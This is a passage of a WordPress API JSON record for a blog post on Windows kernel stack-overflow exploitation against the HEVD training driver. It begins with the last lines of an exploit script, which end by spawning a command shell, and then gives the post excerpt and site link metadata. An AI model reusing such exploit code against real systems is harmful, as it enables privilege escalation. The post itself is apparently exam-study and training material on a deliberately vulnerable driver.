len(padding), None, 0, byref(c_ulong()), None)\n\npopen(\"start cmd\", shell= True)<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>After preparing for OSEE over a year and finishing almost most of the topics for the previous years syllabus, I finally found the time to start writing a blog series about all the learning I had so far (and more to come as this is a long journey). We&#8217;ll be focusing on Kernel Exploitation for&hellip; <a class=\"more-link\" href=\"https:\/\/areyou1or0.it\/index.php\/2022\/05\/22\/hevd-windows-kernel-exploitation-stack-overflow\/\">Continue reading <span class=\"screen-reader-text\">HEVD Windows Kernel Exploitation 2 &#8211; Stack Overflow<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[21],"tags":[],"_links":{"self":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/204"}],"collection":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/comments?post=204"}],"version-history":[{"count":10,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/204\/revisions"}],"predecessor-version":[{"id":256,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/204\/revisions\/256"}],"wp:attachment":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/media?parent=204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/categories?post=204"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/tags?post=204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}